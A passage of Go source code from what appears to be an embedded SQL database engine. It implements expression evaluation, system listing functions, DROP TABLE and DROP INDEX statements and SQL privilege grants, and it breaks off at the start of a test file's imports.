(t1 == IntegerType && t2 == Float64Type) || (t1 == Float64Type && t2 == IntegerType): return Float64Type, true } return "", false } func (bexp *CmpBoolExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != BooleanType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, BooleanType, t) } _, err := bexp.inferType(cols, params, implicitTable) return err } func (bexp *CmpBoolExp) substitute(params map[string]interface{}) (ValueExp, error) { rlexp, err := bexp.left.substitute(params) if err != nil { return nil, err } rrexp, err := bexp.right.substitute(params) if err != nil { return nil, err } bexp.left = rlexp bexp.right = rrexp return bexp, nil } func (bexp *CmpBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { vl, err := bexp.left.reduce(tx, row, implicitTable) if err != nil { return nil, err } vr, err := bexp.right.reduce(tx, row, implicitTable) if err != nil { return nil, err } r, err := vl.Compare(vr) if err != nil { return nil, err } return &Bool{val: cmpSatisfiesOp(r, bexp.op)}, nil } func (bexp *CmpBoolExp) selectors() []Selector { return append(bexp.left.selectors(), bexp.right.selectors()...) } func (bexp *CmpBoolExp) reduceSelectors(row *Row, implicitTable string) ValueExp { return &CmpBoolExp{ op: bexp.op, left: bexp.left.reduceSelectors(row, implicitTable), right: bexp.right.reduceSelectors(row, implicitTable), } } func (bexp *CmpBoolExp) isConstant() bool { return bexp.left.isConstant() && bexp.right.isConstant() } func (bexp *CmpBoolExp) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { matchingFunc := func(_, right ValueExp) (*ColSelector, ValueExp, bool) { s, isSel := bexp.left.(*ColSelector) if isSel && s.col != revCol && bexp.right.isConstant() { return s, right, true } return nil, nil, false } sel, c, ok := matchingFunc(bexp.left, bexp.right) if !ok { sel, c, ok = matchingFunc(bexp.right, bexp.left) } if !ok { return nil } aggFn, t, col := sel.resolve(table.name) if aggFn != "" || t != asTable { return nil } column, err := table.GetColumnByName(col) if err != nil { return err } val, err := c.substitute(params) if errors.Is(err, ErrMissingParameter) { // TODO: not supported when parameters are not provided during query resolution return nil } if err != nil { return err } rval, err := val.reduce(nil, nil, table.name) if err != nil { return err } return updateRangeFor(column.id, rval, bexp.op, rangesByColID) } func (bexp *CmpBoolExp) String() string { opStr := CmpOperatorToString(bexp.op) return fmt.Sprintf("(%s %s %s)", bexp.left.String(), opStr, bexp.right.String()) } type TimestampFieldType string const ( TimestampFieldTypeYear TimestampFieldType = "YEAR" TimestampFieldTypeMonth TimestampFieldType = "MONTH" TimestampFieldTypeDay TimestampFieldType = "DAY" TimestampFieldTypeHour TimestampFieldType = "HOUR" TimestampFieldTypeMinute TimestampFieldType = "MINUTE" TimestampFieldTypeSecond TimestampFieldType = "SECOND" ) type ExtractFromTimestampExp struct { Field TimestampFieldType Exp ValueExp } func (te *ExtractFromTimestampExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { inferredType, err := te.Exp.inferType(cols, params, implicitTable) if err != nil { return "", err } if inferredType != TimestampType && inferredType != VarcharType && inferredType != AnyType { return "", fmt.Errorf("timestamp expression must be of type %v or %v, but was: %v", TimestampType, VarcharType, inferredType) } return IntegerType, nil } func (te *ExtractFromTimestampExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != IntegerType && t != Float64Type { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, BooleanType, t) } return te.Exp.requiresType(TimestampType, cols, params, implicitTable) } func (te *ExtractFromTimestampExp) substitute(params map[string]interface{}) (ValueExp, error) { exp, err := te.Exp.substitute(params) if err != nil { return nil, err } return &ExtractFromTimestampExp{ Field: te.Field, Exp: exp, }, nil } func (te *ExtractFromTimestampExp) selectors() []Selector { return te.Exp.selectors() } func (te *ExtractFromTimestampExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { v, err := te.Exp.reduce(tx, row, implicitTable) if err != nil { return nil, err } if v.IsNull() { return NewNull(IntegerType), nil } if t := v.Type(); t != TimestampType && t != VarcharType { return nil, fmt.Errorf("%w: expected type %v but found type %v", ErrInvalidTypes, TimestampType, t) } if v.Type() == VarcharType { converterFunc, err := getConverter(VarcharType, TimestampType) if err != nil { return nil, err } casted, err := converterFunc(v) if err != nil { return nil, err } v = casted } t, _ := v.RawValue().(time.Time) year, month, day := t.Date() switch te.Field { case TimestampFieldTypeYear: return NewInteger(int64(year)), nil case TimestampFieldTypeMonth: return NewInteger(int64(month)), nil case TimestampFieldTypeDay: return NewInteger(int64(day)), nil case TimestampFieldTypeHour: return NewInteger(int64(t.Hour())), nil case TimestampFieldTypeMinute: return NewInteger(int64(t.Minute())), nil case TimestampFieldTypeSecond: return NewInteger(int64(t.Second())), nil } return nil, fmt.Errorf("unknown timestamp field type: %s", te.Field) } func (te *ExtractFromTimestampExp) reduceSelectors(row *Row, implicitTable string) ValueExp { return &ExtractFromTimestampExp{ Field: te.Field, Exp: te.Exp.reduceSelectors(row, implicitTable), } } func (te *ExtractFromTimestampExp) isConstant() bool { return false } func (te *ExtractFromTimestampExp) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { return nil } func (te *ExtractFromTimestampExp) String() string { return fmt.Sprintf("EXTRACT(%s FROM %s)", te.Field, te.Exp) } func updateRangeFor(colID uint32, val TypedValue, cmp CmpOperator, rangesByColID map[uint32]*typedValueRange) error { currRange, ranged := rangesByColID[colID] var newRange *typedValueRange switch cmp { case EQ: { newRange = &typedValueRange{ lRange: &typedValueSemiRange{ val: val, inclusive: true, }, hRange: &typedValueSemiRange{ val: val, inclusive: true, }, } } case LT: { newRange = &typedValueRange{ hRange: &typedValueSemiRange{ val: val, }, } } case LE: { newRange = &typedValueRange{ hRange: &typedValueSemiRange{ val: val, inclusive: true, }, } } case GT: { newRange = &typedValueRange{ lRange: &typedValueSemiRange{ val: val, }, } } case GE: { newRange = &typedValueRange{ lRange: &typedValueSemiRange{ val: val, inclusive: true, }, } } case NE: { return nil } } if !ranged { rangesByColID[colID] = newRange return nil } return currRange.refineWith(newRange) } func cmpSatisfiesOp(cmp int, op CmpOperator) bool { switch { case cmp == 0: { return op == EQ || op == LE || op == GE } case cmp < 0: { return op == NE || op == LT || op == LE } case cmp > 0: { return op == NE || op == GT || op == GE } } return false } type BinBoolExp struct { op LogicOperator left, right ValueExp } func NewBinBoolExp(op LogicOperator, lrexp, rrexp ValueExp) *BinBoolExp { bexp := &BinBoolExp{ op: op, } bexp.left = lrexp bexp.right = rrexp return bexp } func (bexp *BinBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { err := bexp.left.requiresType(BooleanType, cols, params, implicitTable) if err != nil { return AnyType, err } err = bexp.right.requiresType(BooleanType, cols, params, implicitTable) if err != nil { return AnyType, err } return BooleanType, nil } func (bexp *BinBoolExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != BooleanType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, BooleanType, t) } err := bexp.left.requiresType(BooleanType, cols, params, implicitTable) if err != nil { return err } err = bexp.right.requiresType(BooleanType, cols, params, implicitTable) if err != nil { return err } return nil } func (bexp *BinBoolExp) substitute(params map[string]interface{}) (ValueExp, error) { rlexp, err := bexp.left.substitute(params) if err != nil { return nil, err } rrexp, err := bexp.right.substitute(params) if err != nil { return nil, err } bexp.left = rlexp bexp.right = rrexp return bexp, nil } func (bexp *BinBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { vl, err := bexp.left.reduce(tx, row, implicitTable) if err != nil { return nil, err } bl, isBool := vl.(*Bool) if !isBool { return nil, fmt.Errorf("%w (expecting boolean value)", ErrInvalidValue) } // short-circuit evaluation if (bl.val && bexp.op == Or) || (!bl.val && bexp.op == And) { return &Bool{val: bl.val}, nil } vr, err := bexp.right.reduce(tx, row, implicitTable) if err != nil { return nil, err } br, isBool := vr.(*Bool) if !isBool { return nil, fmt.Errorf("%w (expecting boolean value)", ErrInvalidValue) } switch bexp.op { case And: { return &Bool{val: bl.val && br.val}, nil } case Or: { return &Bool{val: bl.val || br.val}, nil } } return nil, ErrUnexpected } func (bexp *BinBoolExp) selectors() []Selector { return append(bexp.left.selectors(), bexp.right.selectors()...) } func (bexp *BinBoolExp) reduceSelectors(row *Row, implicitTable string) ValueExp { return &BinBoolExp{ op: bexp.op, left: bexp.left.reduceSelectors(row, implicitTable), right: bexp.right.reduceSelectors(row, implicitTable), } } func (bexp *BinBoolExp) isConstant() bool { return bexp.left.isConstant() && bexp.right.isConstant() } func (bexp *BinBoolExp) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { if bexp.op == And { err := bexp.left.selectorRanges(table, asTable, params, rangesByColID) if err != nil { return err } return bexp.right.selectorRanges(table, asTable, params, rangesByColID) } lRanges := make(map[uint32]*typedValueRange) rRanges := make(map[uint32]*typedValueRange) err := bexp.left.selectorRanges(table, asTable, params, lRanges) if err != nil { return err } err = bexp.right.selectorRanges(table, asTable, params, rRanges) if err != nil { return err } for colID, lr := range lRanges { rr, ok := rRanges[colID] if !ok { continue } err = lr.extendWith(rr) if err != nil { return err } rangesByColID[colID] = lr } return nil } func (bexp *BinBoolExp) String() string { return fmt.Sprintf("(%s %s %s)", bexp.left.String(), LogicOperatorToString(bexp.op), bexp.right.String()) } type ExistsBoolExp struct { q DataSource } func (bexp *ExistsBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return AnyType, fmt.Errorf("error inferring type in 'EXISTS' clause: %w", ErrNoSupported) } func (bexp *ExistsBoolExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { return fmt.Errorf("error inferring type in 'EXISTS' clause: %w", ErrNoSupported) } func (bexp *ExistsBoolExp) substitute(params map[string]interface{}) (ValueExp, error) { return bexp, nil } func (bexp *ExistsBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return nil, fmt.Errorf("'EXISTS' clause: %w", ErrNoSupported) } func (bexp *ExistsBoolExp) selectors() []Selector { return nil } func (bexp *ExistsBoolExp) reduceSelectors(row *Row, implicitTable string) ValueExp { return bexp } func (bexp *ExistsBoolExp) isConstant() bool { return false } func (bexp *ExistsBoolExp) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { return nil } func (bexp *ExistsBoolExp) String() string { return "" } type InSubQueryExp struct { val ValueExp notIn bool q *SelectStmt } func (bexp *InSubQueryExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return AnyType, fmt.Errorf("error inferring type in 'IN' clause: %w", ErrNoSupported) } func (bexp *InSubQueryExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { return fmt.Errorf("error inferring type in 'IN' clause: %w", ErrNoSupported) } func (bexp *InSubQueryExp) substitute(params map[string]interface{}) (ValueExp, error) { return bexp, nil } func (bexp *InSubQueryExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return nil, fmt.Errorf("error inferring type in 'IN' clause: %w", ErrNoSupported) } func (bexp *InSubQueryExp) selectors() []Selector { return bexp.val.selectors() } func (bexp *InSubQueryExp) reduceSelectors(row *Row, implicitTable string) ValueExp { return bexp } func (bexp *InSubQueryExp) isConstant() bool { return false } func (bexp *InSubQueryExp) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { return nil } func (bexp *InSubQueryExp) String() string { return "" } // TODO: once InSubQueryExp is supported, this struct may become obsolete by creating a ListDataSource struct type InListExp struct { val ValueExp notIn bool values []ValueExp } func (bexp *InListExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { t, err := bexp.val.inferType(cols, params, implicitTable) if err != nil { return AnyType, fmt.Errorf("error inferring type in 'IN' clause: %w", err) } for _, v := range bexp.values { err = v.requiresType(t, cols, params, implicitTable) if err != nil { return AnyType, fmt.Errorf("error inferring type in 'IN' clause: %w", err) } } return BooleanType, nil } func (bexp *InListExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { _, err := bexp.inferType(cols, params, implicitTable) if err != nil { return err } if t != BooleanType { return fmt.Errorf("error inferring type in 'IN' clause: %w", ErrInvalidTypes) } return nil } func (bexp *InListExp) substitute(params map[string]interface{}) (ValueExp, error) { val, err := bexp.val.substitute(params) if err != nil { return nil, fmt.Errorf("error evaluating 'IN' clause: %w", err) } values := make([]ValueExp, len(bexp.values)) for i, val := range bexp.values { values[i], err = val.substitute(params) if err != nil { return nil, fmt.Errorf("error evaluating 'IN' clause: %w", err) } } return &InListExp{ val: val, notIn: bexp.notIn, values: values, }, nil } func (bexp *InListExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { rval, err := bexp.val.reduce(tx, row, implicitTable) if err != nil { return nil, fmt.Errorf("error evaluating 'IN' clause: %w", err) } var found bool for _, v := range bexp.values { rv, err := v.reduce(tx, row, implicitTable) if err != nil { return nil, fmt.Errorf("error evaluating 'IN' clause: %w", err) } r, err := rval.Compare(rv) if err != nil { return nil, fmt.Errorf("error evaluating 'IN' clause: %w", err) } if r == 0 { // TODO: short-circuit evaluation may be preferred when upfront static type inference is in place found = found || true } } return &Bool{val: found != bexp.notIn}, nil } func (bexp *InListExp) selectors() []Selector { selectors := make([]Selector, 0, len(bexp.values)) for _, v := range bexp.values { selectors = append(selectors, v.selectors()...) } return append(bexp.val.selectors(), selectors...) } func (bexp *InListExp) reduceSelectors(row *Row, implicitTable string) ValueExp { values := make([]ValueExp, len(bexp.values)) for i, val := range bexp.values { values[i] = val.reduceSelectors(row, implicitTable) } return &InListExp{ val: bexp.val.reduceSelectors(row, implicitTable), values: values, } } func (bexp *InListExp) isConstant() bool { return false } func (bexp *InListExp) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { // TODO: may be determiined by smallest and bigggest value in the list return nil } func (bexp *InListExp) String() string { values := make([]string, len(bexp.values)) for i, exp := range bexp.values { values[i] = exp.String() } return fmt.Sprintf("%s IN (%s)", bexp.val.String(), strings.Join(values, ",")) } type FnDataSourceStmt struct { fnCall *FnCall as string } func (stmt *FnDataSourceStmt) readOnly() bool { return true } func (stmt *FnDataSourceStmt) requiredPrivileges() []SQLPrivilege { return nil } func (stmt *FnDataSourceStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { return tx, nil } func (stmt *FnDataSourceStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } func (stmt *FnDataSourceStmt) Alias() string { if stmt.as != "" { return stmt.as } switch strings.ToUpper(stmt.fnCall.fn) { case DatabasesFnCall: { return "databases" } case TablesFnCall: { return "tables" } case TableFnCall: { return "table" } case UsersFnCall: { return "users" } case ColumnsFnCall: { return "columns" } case IndexesFnCall: { return "indexes" } case GrantsFnCall: return "grants" } // not reachable return "" } func (stmt *FnDataSourceStmt) Resolve(ctx context.Context, tx *SQLTx, params map[string]interface{}, scanSpecs *ScanSpecs) (rowReader RowReader, err error) { if stmt.fnCall == nil { return nil, fmt.Errorf("%w: function is unspecified", ErrIllegalArguments) } switch strings.ToUpper(stmt.fnCall.fn) { case DatabasesFnCall: { return stmt.resolveListDatabases(ctx, tx, params, scanSpecs) } case TablesFnCall: { return stmt.resolveListTables(ctx, tx, params, scanSpecs) } case TableFnCall: { return stmt.resolveShowTable(ctx, tx, params, scanSpecs) } case UsersFnCall: { return stmt.resolveListUsers(ctx, tx, params, scanSpecs) } case ColumnsFnCall: { return stmt.resolveListColumns(ctx, tx, params, scanSpecs) } case IndexesFnCall: { return stmt.resolveListIndexes(ctx, tx, params, scanSpecs) } case GrantsFnCall: { return stmt.resolveListGrants(ctx, tx, params, scanSpecs) } } return nil, fmt.Errorf("%w (%s)", ErrFunctionDoesNotExist, stmt.fnCall.fn) } func (stmt *FnDataSourceStmt) resolveListDatabases(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (rowReader RowReader, err error) { if len(stmt.fnCall.params) > 0 { return nil, fmt.Errorf("%w: function '%s' expect no parameters but %d were provided", ErrIllegalArguments, DatabasesFnCall, len(stmt.fnCall.params)) } cols := make([]ColDescriptor, 1) cols[0] = ColDescriptor{ Column: "name", Type: VarcharType, } var dbs []string if tx.engine.multidbHandler == nil { return nil, ErrUnspecifiedMultiDBHandler } else { dbs, err = tx.engine.multidbHandler.ListDatabases(ctx) if err != nil { return nil, err } } values := make([][]ValueExp, len(dbs)) for i, db := range dbs { values[i] = []ValueExp{&Varchar{val: db}} } return NewValuesRowReader(tx, params, cols, true, stmt.Alias(), values) } func (stmt *FnDataSourceStmt) resolveListTables(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (rowReader RowReader, err error) { if len(stmt.fnCall.params) > 0 { return nil, fmt.Errorf("%w: function '%s' expect no parameters but %d were provided", ErrIllegalArguments, TablesFnCall, len(stmt.fnCall.params)) } cols := make([]ColDescriptor, 1) cols[0] = ColDescriptor{ Column: "name", Type: VarcharType, } tables := tx.catalog.GetTables() values := make([][]ValueExp, len(tables)) for i, t := range tables { values[i] = []ValueExp{&Varchar{val: t.name}} } return NewValuesRowReader(tx, params, cols, true, stmt.Alias(), values) } func (stmt *FnDataSourceStmt) resolveShowTable(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (rowReader RowReader, err error) { cols := []ColDescriptor{ { Column: "column_name", Type: VarcharType, }, { Column: "type_name", Type: VarcharType, }, { Column: "is_nullable", Type: BooleanType, }, { Column: "is_indexed", Type: VarcharType, }, { Column: "is_auto_increment", Type: BooleanType, }, { Column: "is_unique", Type: BooleanType, }, } tableName, _ := stmt.fnCall.params[0].reduce(tx, nil, "") table, err := tx.catalog.GetTableByName(tableName.RawValue().(string)) if err != nil { return nil, err } values := make([][]ValueExp, len(table.cols)) for i, c := range table.cols { index := "NO" indexed, err := table.IsIndexed(c.Name()) if err != nil { return nil, err } if indexed { index = "YES" } if table.PrimaryIndex().IncludesCol(c.ID()) { index = "PRIMARY KEY" } var unique bool for _, index := range table.GetIndexesByColID(c.ID()) { if index.IsUnique() && len(index.Cols()) == 1 { unique = true break } } var maxLen string if c.MaxLen() > 0 && (c.Type() == VarcharType || c.Type() == BLOBType) { maxLen = fmt.Sprintf("(%d)", c.MaxLen()) } values[i] = []ValueExp{ &Varchar{val: c.colName}, &Varchar{val: c.Type() + maxLen}, &Bool{val: c.IsNullable()}, &Varchar{val: index}, &Bool{val: c.IsAutoIncremental()}, &Bool{val: unique}, } } return NewValuesRowReader(tx, params, cols, true, stmt.Alias(), values) } func (stmt *FnDataSourceStmt) resolveListUsers(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (rowReader RowReader, err error) { if len(stmt.fnCall.params) > 0 { return nil, fmt.Errorf("%w: function '%s' expect no parameters but %d were provided", ErrIllegalArguments, UsersFnCall, len(stmt.fnCall.params)) } cols := []ColDescriptor{ { Column: "name", Type: VarcharType, }, { Column: "permission", Type: VarcharType, }, } users, err := tx.ListUsers(ctx) if err != nil { return nil, err } values := make([][]ValueExp, len(users)) for i, user := range users { perm := user.Permission() values[i] = []ValueExp{ &Varchar{val: user.Username()}, &Varchar{val: perm}, } } return NewValuesRowReader(tx, params, cols, true, stmt.Alias(), values) } func (stmt *FnDataSourceStmt) resolveListColumns(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (RowReader, error) { if len(stmt.fnCall.params) != 1 { return nil, fmt.Errorf("%w: function '%s' expect table name as parameter", ErrIllegalArguments, ColumnsFnCall) } cols := []ColDescriptor{ { Column: "table", Type: VarcharType, }, { Column: "name", Type: VarcharType, }, { Column: "type", Type: VarcharType, }, { Column: "max_length", Type: IntegerType, }, { Column: "nullable", Type: BooleanType, }, { Column: "auto_increment", Type: BooleanType, }, { Column: "indexed", Type: BooleanType, }, { Column: "primary", Type: BooleanType, }, { Column: "unique", Type: BooleanType, }, } val, err := stmt.fnCall.params[0].substitute(params) if err != nil { return nil, err } tableName, err := val.reduce(tx, nil, "") if err != nil { return nil, err } if tableName.Type() != VarcharType { return nil, fmt.Errorf("%w: expected '%s' for table name but type '%s' given instead", ErrIllegalArguments, VarcharType, tableName.Type()) } table, err := tx.catalog.GetTableByName(tableName.RawValue().(string)) if err != nil { return nil, err } values := make([][]ValueExp, len(table.cols)) for i, c := range table.cols { indexed, err := table.IsIndexed(c.Name()) if err != nil { return nil, err } var unique bool for _, index := range table.indexesByColID[c.id] { if index.IsUnique() && len(index.Cols()) == 1 { unique = true break } } values[i] = []ValueExp{ &Varchar{val: table.name}, &Varchar{val: c.colName}, &Varchar{val: c.colType}, &Integer{val: int64(c.MaxLen())}, &Bool{val: c.IsNullable()}, &Bool{val: c.autoIncrement}, &Bool{val: indexed}, &Bool{val: table.PrimaryIndex().IncludesCol(c.ID())}, &Bool{val: unique}, } } return NewValuesRowReader(tx, params, cols, true, stmt.Alias(), values) } func (stmt *FnDataSourceStmt) resolveListIndexes(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (RowReader, error) { if len(stmt.fnCall.params) != 1 { return nil, fmt.Errorf("%w: function '%s' expect table name as parameter", ErrIllegalArguments, IndexesFnCall) } cols := []ColDescriptor{ { Column: "table", Type: VarcharType, }, { Column: "name", Type: VarcharType, }, { Column: "unique", Type: BooleanType, }, { Column: "primary", Type: BooleanType, }, } val, err := stmt.fnCall.params[0].substitute(params) if err != nil { return nil, err } tableName, err := val.reduce(tx, nil, "") if err != nil { return nil, err } if tableName.Type() != VarcharType { return nil, fmt.Errorf("%w: expected '%s' for table name but type '%s' given instead", ErrIllegalArguments, VarcharType, tableName.Type()) } table, err := tx.catalog.GetTableByName(tableName.RawValue().(string)) if err != nil { return nil, err } values := make([][]ValueExp, len(table.indexes)) for i, index := range table.indexes { values[i] = []ValueExp{ &Varchar{val: table.name}, &Varchar{val: index.Name()}, &Bool{val: index.unique}, &Bool{val: index.IsPrimary()}, } } return NewValuesRowReader(tx, params, cols, true, stmt.Alias(), values) } func (stmt *FnDataSourceStmt) resolveListGrants(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (RowReader, error) { if len(stmt.fnCall.params) > 1 { return nil, fmt.Errorf("%w: function '%s' expect at most one parameter of type %s", ErrIllegalArguments, GrantsFnCall, VarcharType) } var username string if len(stmt.fnCall.params) == 1 { val, err := stmt.fnCall.params[0].substitute(params) if err != nil { return nil, err } userVal, err := val.reduce(tx, nil, "") if err != nil { return nil, err } if userVal.Type() != VarcharType { return nil, fmt.Errorf("%w: expected '%s' for username but type '%s' given instead", ErrIllegalArguments, VarcharType, userVal.Type()) } username, _ = userVal.RawValue().(string) } cols := []ColDescriptor{ { Column: "user", Type: VarcharType, }, { Column: "privilege", Type: VarcharType, }, } var err error var users []User if tx.engine.multidbHandler == nil { return nil, ErrUnspecifiedMultiDBHandler } else { users, err = tx.engine.multidbHandler.ListUsers(ctx) if err != nil { return nil, err } } values := make([][]ValueExp, 0, len(users)) for _, user := range users { if username == "" || user.Username() == username { for _, p := range user.SQLPrivileges() { values = append(values, []ValueExp{ &Varchar{val: user.Username()}, &Varchar{val: string(p)}, }) } } } return NewValuesRowReader(tx, params, cols, true, stmt.Alias(), values) } // DropTableStmt represents a statement to delete a table. type DropTableStmt struct { table string } func NewDropTableStmt(table string) *DropTableStmt { return &DropTableStmt{table: table} } func (stmt *DropTableStmt) readOnly() bool { return false } func (stmt *DropTableStmt) requiredPrivileges() []SQLPrivilege { return []SQLPrivilege{SQLPrivilegeDrop} } func (stmt *DropTableStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } /* Exec executes the delete table statement. It the table exists, if not it does nothing. If the table exists, it deletes all the indexes and the table itself. Note that this is a soft delete of the index and table key, the data is not deleted, but the metadata is updated. */ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if !tx.catalog.ExistTable(stmt.table) { return nil, ErrTableDoesNotExist } table, err := tx.catalog.GetTableByName(stmt.table) if err != nil { return nil, err } // delete table mappedKey := MapKey( tx.sqlPrefix(), catalogTablePrefix, EncodeID(DatabaseID), EncodeID(table.id), ) err = tx.delete(ctx, mappedKey) if err != nil { return nil, err } // delete columns cols := table.ColumnsByID() for _, col := range cols { mappedKey := MapKey( tx.sqlPrefix(), catalogColumnPrefix, EncodeID(DatabaseID), EncodeID(col.table.id), EncodeID(col.id), []byte(col.colType), ) err = tx.delete(ctx, mappedKey) if err != nil { return nil, err } } // delete checks for name := range table.checkConstraints { key := MapKey( tx.sqlPrefix(), catalogCheckPrefix, EncodeID(DatabaseID), EncodeID(table.id), []byte(name), ) if err := tx.delete(ctx, key); err != nil { return nil, err } } // delete indexes for _, index := range table.indexes { mappedKey := MapKey( tx.sqlPrefix(), catalogIndexPrefix, EncodeID(DatabaseID), EncodeID(table.id), EncodeID(index.id), ) err = tx.delete(ctx, mappedKey) if err != nil { return nil, err } indexKey := MapKey( tx.sqlPrefix(), MappedPrefix, EncodeID(table.id), EncodeID(index.id), ) err = tx.addOnCommittedCallback(func(sqlTx *SQLTx) error { return sqlTx.engine.store.DeleteIndex(indexKey) }) if err != nil { return nil, err } } err = tx.catalog.deleteTable(table) if err != nil { return nil, err } tx.mutatedCatalog = true return tx, nil } // DropIndexStmt represents a statement to delete a table. type DropIndexStmt struct { table string cols []string } func NewDropIndexStmt(table string, cols []string) *DropIndexStmt { return &DropIndexStmt{table: table, cols: cols} } func (stmt *DropIndexStmt) readOnly() bool { return false } func (stmt *DropIndexStmt) requiredPrivileges() []SQLPrivilege { return []SQLPrivilege{SQLPrivilegeDrop} } func (stmt *DropIndexStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } /* Exec executes the delete index statement. If the index exists, it deletes it. Note that this is a soft delete of the index the data is not deleted, but the metadata is updated. */ func (stmt *DropIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if !tx.catalog.ExistTable(stmt.table) { return nil, ErrTableDoesNotExist } table, err := tx.catalog.GetTableByName(stmt.table) if err != nil { return nil, err } cols := make([]*Column, len(stmt.cols)) for i, colName := range stmt.cols { col, err := table.GetColumnByName(colName) if err != nil { return nil, err } cols[i] = col } index, err := table.GetIndexByName(indexName(table.name, cols)) if err != nil { return nil, err } // delete index mappedKey := MapKey( tx.sqlPrefix(), catalogIndexPrefix, EncodeID(DatabaseID), EncodeID(table.id), EncodeID(index.id), ) err = tx.delete(ctx, mappedKey) if err != nil { return nil, err } indexKey := MapKey( tx.sqlPrefix(), MappedPrefix, EncodeID(table.id), EncodeID(index.id), ) err = tx.addOnCommittedCallback(func(sqlTx *SQLTx) error { return sqlTx.engine.store.DeleteIndex(indexKey) }) if err != nil { return nil, err } err = table.deleteIndex(index) if err != nil { return nil, err } tx.mutatedCatalog = true return tx, nil } type SQLPrivilege string const ( SQLPrivilegeSelect SQLPrivilege = "SELECT" SQLPrivilegeCreate SQLPrivilege = "CREATE" SQLPrivilegeInsert SQLPrivilege = "INSERT" SQLPrivilegeUpdate SQLPrivilege = "UPDATE" SQLPrivilegeDelete SQLPrivilege = "DELETE" SQLPrivilegeDrop SQLPrivilege = "DROP" SQLPrivilegeAlter SQLPrivilege = "ALTER" ) var allPrivileges = []SQLPrivilege{ SQLPrivilegeSelect, SQLPrivilegeCreate, SQLPrivilegeInsert, SQLPrivilegeUpdate, SQLPrivilegeDelete, SQLPrivilegeDrop, SQLPrivilegeAlter, } func DefaultSQLPrivilegesForPermission(p Permission) []SQLPrivilege { switch p { case PermissionSysAdmin, PermissionAdmin, PermissionReadWrite: return allPrivileges case PermissionReadOnly: return []SQLPrivilege{SQLPrivilegeSelect} } return nil } type AlterPrivilegesStmt struct { database string user string privileges []SQLPrivilege isGrant bool } func (stmt *AlterPrivilegesStmt) readOnly() bool { return false } func (stmt *AlterPrivilegesStmt) requiredPrivileges() []SQLPrivilege { return nil } func (stmt *AlterPrivilegesStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if tx.IsExplicitCloseRequired() { return nil, fmt.Errorf("%w: user privileges modification can not be done within a transaction", ErrNonTransactionalStmt) } if tx.engine.multidbHandler == nil { return nil, ErrUnspecifiedMultiDBHandler } var err error if stmt.isGrant { err = tx.engine.multidbHandler.GrantSQLPrivileges(ctx, stmt.database, stmt.user, stmt.privileges) } else { err = tx.engine.multidbHandler.RevokeSQLPrivileges(ctx, stmt.database, stmt.user, stmt.privileges) } return nil, err } func (stmt *AlterPrivilegesStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } ================================================ FILE: embedded/sql/stmt_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "context" "encoding/hex" "fmt" "reflect" "testing" "time" "github.com/google/uuid" "github.com/stretchr/testify/require" ) func 